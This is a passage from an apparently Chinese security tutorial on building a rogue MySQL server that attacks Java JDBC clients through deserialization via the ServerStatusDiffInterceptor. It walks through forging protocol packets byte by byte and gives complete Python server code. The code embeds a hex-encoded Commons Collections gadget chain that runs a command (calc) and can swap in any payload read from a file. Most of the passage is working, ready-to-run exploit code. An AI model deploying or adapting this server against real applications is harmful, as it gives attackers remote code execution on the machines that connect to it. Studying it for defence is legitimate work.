reply_data="01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"
send_data(conn,reply_data)
#收到Request Query包,其中包含SET
elif "set" in data:
send_data(conn,response_ok_data)
elif r"select @@session.autocommit" in data:
reply_data="01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"
send_data(conn,reply_data)
.......

Info: Request Query(SHOW SESSION STATUS)

终于到了我们最重要的地方了,因为这个查询是由com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor拦截器发送的,而这个结果集中的每一行的第一列和第二列的内容会被反序列化,我们作为恶意mysql当然可以随意伪造返回的结果集内容

因此,我们需要手动构造下一个代表结果集的数据包:Response TABULAR Response OK (SHOW SESSION STATUS)

Info:Response TABULAR Response OK (SHOW SESSION STATUS)

对于TABULAR的结构,必须有四个部分,column count ,field packet,row packet,Response OK

因为取的就是第一列和第二列的内容,所以我们先构造Number of fields为2的column count部分

1
reply_data='0100000102'//这个部分可以直接copy正常流量的字节内容

然后构造field packet:

  1. Packet Length(3个字节):表示该packet的长度,计算公式为:
    $$
    整个field packet的字节数 -开头表示Length和Number的4个字节
    $$

我们这里因为还没有构造出完整的packet,所以这里先用x占位表示

1
reply_data+='xxxxxx'

2.Packet Number(1个字节):表示该packet在整个Mysql protocol中的序号,前面已经有了第一个包(column count),所以我们接着写2

1
reply_data+='02'

3.Catalog(4个字节):Catalog 在 MySQL 中表示数据库,它在 MySQL 协议的 Field Packet 中提供了关于结果集所属的数据库的信息,这里设置为def,也就是默认值即可

1
reply_data+='03646566'

4.Database(1个字节):默认为空值,但是表示长度的Length要占一个字节

1
reply_data+='00'

5.Table(1+n个字节):表示从哪张表查询的结果,1是Length占一个字节,后面的n代表表名的长度,这里为了简化就把表名设为一个字节的字母’b’

1
reply_data+='0162'

6.Original table(与⑤相同):如果查询的表起了别名,那么这个字段代码表原本的名,正常情况下与⑤相同

1
reply_data+='0162'

7.Name(1+n个字节):表示从表中的哪一列查询的结果,1是Length占一个字节,后面的n代表表名的长度,这里为了简化就把表名设为一个字节的字母’B’

1
reply_data+='0142'

6.Original name(与⑦相同):一样的道理

1
reply_data+='0142'

下一个0c目前暂不清楚有什么作用,wireshark也未标明,就当做一个连接符或者占位符吧

1
reply_data+='0c'

7.Charset Number(2个字节):规定mysql使用的字符集,这里设置为utf-8,十六进制为3f,默认使用的ff(原始二进制字符集)无法有效识别反序列化payload

1
reply_data+='3f00'

8.Length(4个字节):表明字段的最大长度(如果实际字段的值超过了这个数字,mysql依然可以正常执行,只是会耗费更多的时间去计算实际数据长度),我们这里直接设成最大的值

1
reply_data+='ffff0000'

9.Type(1个字节):表明字段类型,要成功反序列化需要将类型改为Blob,十六进制为**’fc’**

1
reply_data+='fc'

10.Flags(2个字节):一些描述字段特征的标志位,比如是否为not null,主键之类的,

看别的师傅的文章,这里设置的是9000,虽然可以跑,但是不理解

计算方式为:将十六进制”9000”转换为十六位二进制(注意手动填充补0)

0x9000<=>0001 0000 0000 0001

(0x1001是我捕捉的正常mysql流量与此无关)

可以看出Blob位在从右往左第5位,而9000转换为二进制后第5位依然是0,但实际上可以成功RCE,并且我试了0090,0010这种二进制的第5位均为1的flags却都不能成功RCE,所以目前不太清楚到底是如何计算的,但我们可以将其全部设置为1(暴力),或者用别的文章里的9000

1
reply_data+='ffff'# or reply_data+='9000'

11.Decimals(1个字节):规定小数的位数,我们这里字段不是浮点数,直接默认值00

1
reply_data+='00'

最后结尾填充2个字节的’00’

一个完整的field packet到此就构建完成了,第二个field packet只需要把包序列号加1就行,其他原封不动

更新代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import socket
import binascii
import os

#greeting包的伪造数据
greeting_data='4a0000000a382e302e313200170000000a170d656e32064600ffffc00200ffc31500000000000000000000605a28686d63690805351259006d7973716c5f6e61746976655f70617373776f726400'

#Response Ok包的伪造数据
response_ok_data='0700000200000002000000'

def get_payload_content():
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

def send_data(conn,data):
print("向目标JDBC发送数据 : {}".format(data))
conn.send(binascii.a2b_hex(data))

def receive_data(conn):
try:
data = conn.recv(1024)
except ConnectionResetError:
raise ConnectionResetError("\n通信结束\n")
return str(data).lower()
#程序入口
if __name__ == '__main__':
#设置端口
host="0.0.0.0"
port=3309
#开启一个socket接受JDBC的连接
sql_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#一旦断开连接就立马重置端口,这样不用每次等待一段时间才能重新使用该端口
sql_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#绑定ip
sql_server.bind((host, port))
#将socket设置为被动监听模式,并且一次只能接受一个连接
sql_server.listen(1)
print(f"恶意mysql已在{host}:{port}开启")
while True:
#conn为连接句柄,addr为接受请求的源地址
conn, addr = sql_server.accept()
print("接受到来自{}:{}的连接请求".format(addr[0],addr[1]))
#发送greeting包
send_data(conn,greeting_data)
while True:
try:
data=receive_data(conn)
except ConnectionResetError:
print("over")
break
print("接受到的data:",data)
#收到Login包
if "password" in data:
send_data(conn,response_ok_data)
#收到Request Query包,其中包含session.auto_increment_increment
elif "session.auto_increment_increment" in data:
reply_data="01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"
send_data(conn,reply_data)
#收到Request Query包,其中包含SET
elif "set" in data:
send_data(conn,response_ok_data)
elif r"select @@session.autocommit" in data:
reply_data="01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"
send_data(conn,reply_data)
elif "show session status" in data:
#column count
reply_data = '0100000102'
#field packet(number 1)
reply_data+='1a000002036465660001620162014201420c3f00ffff0000fcffff000000'
#field packet(number 2)
reply_data+='1a000003036465660001620162014201420c3f00ffff1000fcffff000000'

现在,我们需要继续构造TABULAR剩余的row packet部分

首先计算packet length:

packet length计算的长度是我们的两个text的值再加上每个text length

因为我们的payload的长度会根据我们选用的利用链和命令而有变化,所以这里就直接用代码计算长度

先继续分析

结果集有两列,所以每一个row packet有两个值

计算第一个值text的长度:我们创建一个获取payload的函数,并指定默认弹出calc的payload

1
2
3
4
5
6
7
8
def get_payload_content():
try:
with open("file.txt", "r") as f:
payload_content = f.read()
except FileNotFoundError:
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
finally:
return payload_content

计算row packet的packet length

1
text_one_length=str(hex(len(get_payload_content())//2+1+1+2))

这里先除以2的原因是是以字节为单位计算,第一个+1+1是后面构造第一个text时为了简便只需要1个字节长度的内容,+2是因为payload长度很长,导致表示length需要2个字节

1
2
row_packet_length_hex=row_packet_length[4:6]+row_packet_length[2:4]+row_packet_length[0:2]
reply_data+=row_packet_length_hex+"04"+"fbfc"

第一行这样写是因为协议使用的是小端字节序,在小端字节序中,低位字节先存放

第二行的04代表包的序列,也就是第四个packet

fbfc按照逻辑应该是fb代表的是第一个text的length(251),而fc代表的是text中的内容,但在这里明显是错误的,而我尝试了类似01xx这样的类似结果却不能成功,却只有fbfc可以,所以这里算是一个疑惑的点,知道为什么的师傅也希望能告诉我

最后就是构造2个text以及最后的应答包的实际内容,就不单独在赘述了

完整的恶意Mysql服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99

import socket
import binascii
import os

#greeting包的伪造数据
greeting_data='4a0000000a382e302e313200170000000a170d656e32064600ffffc00200ffc31500000000000000000000605a28686d63690805351259006d7973716c5f6e61746976655f70617373776f726400'

#Response Ok包的伪造数据
response_ok_data='0700000200000002000000'

def get_payload_content():
try:
with open("file.txt", "r") as f:
payload_content = f.read()
except FileNotFoundError:
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
finally:
return payload_content

def send_data(conn,data):
print("向目标JDBC发送数据 : {}".format(data))
conn.send(binascii.a2b_hex(data))

def receive_data(conn):
try:
data = conn.recv(1024)
except ConnectionResetError:
raise ConnectionResetError("\n通信结束\n")
return str(data).lower()
#程序入口
if __name__ == '__main__':
#设置端口
host="0.0.0.0"
port=3309
#开启一个socket接受JDBC的连接
sql_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#一旦断开连接就立马重置端口,这样不用每次等待一段时间才能重新使用该端口
sql_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#绑定ip
sql_server.bind((host, port))
#将socket设置为被动监听模式,并且一次只能接受一个连接
sql_server.listen(1)
print(f"恶意mysql已在{host}:{port}开启")
while True:
#conn为连接句柄,addr为接受请求的源地址
conn, addr = sql_server.accept()
print("接受到来自{}:{}的连接请求".format(addr[0],addr[1]))
#发送greeting包
send_data(conn,greeting_data)
while True:
try:
data=receive_data(conn)
except ConnectionResetError:
print("over")
break
print("接受到的data:",data)
#收到Login包
if "password" in data:
send_data(conn,response_ok_data)
#收到Request Query包,其中包含session.auto_increment_increment
elif "session.auto_increment_increment" in data:
reply_data="01000001122e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000001e00000f036465660000000873716c5f6d6f6465000c21005f010000fd00001f000026000010036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000011036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001203646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000013036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f9000014013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c0131083136373737323136023630754f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000015fe000002000000"
send_data(conn,reply_data)
#收到Request Query包,其中包含SET
elif "set" in data:
send_data(conn,response_ok_data)
elif r"select @@session.autocommit" in data:
reply_data="01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"
send_data(conn,reply_data)
elif "show session status" in data:
#column count
reply_data = '0100000102'
#field packet(number 1)
reply_data+='1a000002036465660001620162014201420c3f00ffff0000fcffff000000'
#field packet(number 2)
reply_data+='1a000003036465660001620162014201420c3f00ffff1000fcffff000000'
#获取payload
payload_content=get_payload_content()

#计算长度
row_packet_length=str(hex(len(get_payload_content())//2+4)).replace("0x","").zfill(6)
row_packet_length_hex=row_packet_length[4:6]+row_packet_length[2:4]+row_packet_length[0:2]
reply_data+=row_packet_length_hex+"04"+"fbfc"

#第一个text
text_length=str(hex(len(get_payload_content())//2)).replace("0x","").zfill(4)
text_length_hex=text_length[2:4]+text_length[0:2]
reply_data+=text_length_hex
reply_data+=str(payload_content)
#第二个text


#response OK
reply_data += '070000b3fe000002000000'
send_data(conn, reply_data)
elif "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)